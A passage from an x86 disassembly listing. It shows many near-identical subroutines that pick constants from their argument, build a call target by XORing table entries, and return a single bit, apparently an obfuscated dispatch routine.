[ebp+var_20], 0EFh mov [ebp+var_1C], 5Bh mov [ebp+var_18], 0F9h mov [ebp+var_14], 0E9h mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A643D mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A643D: ; CODE XREF: sub_4A63AC+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A63AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A64A9 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED900o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 35h mov [ebp+var_2C], 0ACh mov [ebp+var_28], 7Fh mov [ebp+var_24], 9Dh mov [ebp+var_20], 25h mov [ebp+var_1C], 43h mov [ebp+var_18], 8Ah mov [ebp+var_14], 89h mov [ebp+var_10], 12h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 12h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A653A mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A653A: ; CODE XREF: sub_4A64A9+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A64A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A65A6 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED904o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 2 mov [ebp+var_2C], 9Eh mov [ebp+var_28], 21h mov [ebp+var_24], 0C5h mov [ebp+var_20], 0Ah mov [ebp+var_1C], 27h mov [ebp+var_18], 93h mov [ebp+var_14], 0B6h mov [ebp+var_10], 7 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 7 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A6637 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A6637: ; CODE XREF: sub_4A65A6+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A65A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A66A3 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED908o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 44h mov [ebp+var_2C], 0FAh mov [ebp+var_28], 0Fh mov [ebp+var_24], 5Ch mov [ebp+var_20], 54h mov [ebp+var_1C], 25h mov [ebp+var_18], 19h mov [ebp+var_14], 4Dh mov [ebp+var_10], 12h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 12h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A6734 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A6734: ; CODE XREF: sub_4A66A3+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A66A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A67A0 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED90Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0C7h mov [ebp+var_2C], 0F0h mov [ebp+var_28], 4Dh mov [ebp+var_24], 8 mov [ebp+var_20], 0E3h mov [ebp+var_1C], 0B4h mov [ebp+var_18], 4Ah mov [ebp+var_14], 8Ah mov [ebp+var_10], 4 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 4 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A6831 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A6831: ; CODE XREF: sub_4A67A0+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A67A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A689D proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED910o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 40h mov [ebp+var_2C], 0C7h mov [ebp+var_28], 0E7h mov [ebp+var_24], 29h mov [ebp+var_20], 0EEh mov [ebp+var_1C], 9Eh mov [ebp+var_18], 0 mov [ebp+var_14], 0EFh mov [ebp+var_10], 15h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 15h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A692E mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A692E: ; CODE XREF: sub_4A689D+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A689D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A699A proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED914o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0A0h mov [ebp+var_2C], 0B1h mov [ebp+var_28], 0FBh mov [ebp+var_24], 39h mov [ebp+var_20], 6Bh mov [ebp+var_1C], 9Ah mov [ebp+var_18], 0DEh mov [ebp+var_14], 2Ah mov [ebp+var_10], 1 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 1 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A6A2A mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A6A2A: ; CODE XREF: sub_4A699A+7Dj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A699A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6A96 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED918o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0EAh mov [ebp+var_2C], 0Bh mov [ebp+var_28], 0F6h mov [ebp+var_24], 0EEh mov [ebp+var_20], 0CAh mov [ebp+var_1C], 0B2h mov [ebp+var_18], 0DAh mov [ebp+var_14], 0EDh mov [ebp+var_10], 13h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 13h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A6B27 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A6B27: ; CODE XREF: sub_4A6A96+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A6A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6B93 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED91Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0Bh mov [ebp+var_2C], 0F0h mov [ebp+var_28], 85h mov [ebp+var_24], 6Eh mov [ebp+var_20], 0B2h mov [ebp+var_1C], 34h mov [ebp+var_18], 0AEh mov [ebp+var_14], 63h mov [ebp+var_10], 1 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 1 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A6C23 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A6C23: ; CODE XREF: sub_4A6B93+7Dj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A6B93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6C8F proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED920o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 23h mov [ebp+var_2C], 22h mov [ebp+var_28], 26h mov [ebp+var_24], 0Eh mov [ebp+var_20], 52h mov [ebp+var_1C], 58h mov [ebp+var_18], 2 mov [ebp+var_14], 0B2h mov [ebp+var_10], 7 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 7 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A6D20 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A6D20: ; CODE XREF: sub_4A6C8F+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A6C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6D8C proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED924o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 3Bh mov [ebp+var_2C], 1Dh mov [ebp+var_28], 0Ah mov [ebp+var_24], 96h mov [ebp+var_20], 47h mov [ebp+var_1C], 53h mov [ebp+var_18], 45h mov [ebp+var_14], 8Ch mov [ebp+var_10], 4 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 4 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A6E1D mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A6E1D: ; CODE XREF: sub_4A6D8C+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A6D8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6E89 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED928o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 7Dh mov [ebp+var_2C], 86h mov [ebp+var_28], 32h mov [ebp+var_24], 89h mov [ebp+var_20], 0C6h mov [ebp+var_1C], 0DBh mov [ebp+var_18], 75h mov [ebp+var_14], 0F7h mov [ebp+var_10], 9 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 9 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A6F1A mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A6F1A: ; CODE XREF: sub_4A6E89+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A6E89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A6F86 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED92Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0DBh mov [ebp+var_2C], 0FAh mov [ebp+var_28], 0EEh mov [ebp+var_24], 5Fh mov [ebp+var_20], 0BDh mov [ebp+var_1C], 84h mov [ebp+var_18], 1Fh mov [ebp+var_14], 0F8h mov [ebp+var_10], 8 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 8 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A7017 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A7017: ; CODE XREF: sub_4A6F86+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A6F86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A7083 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED930o var_40 = dword ptr -40h var_3C = dword ptr 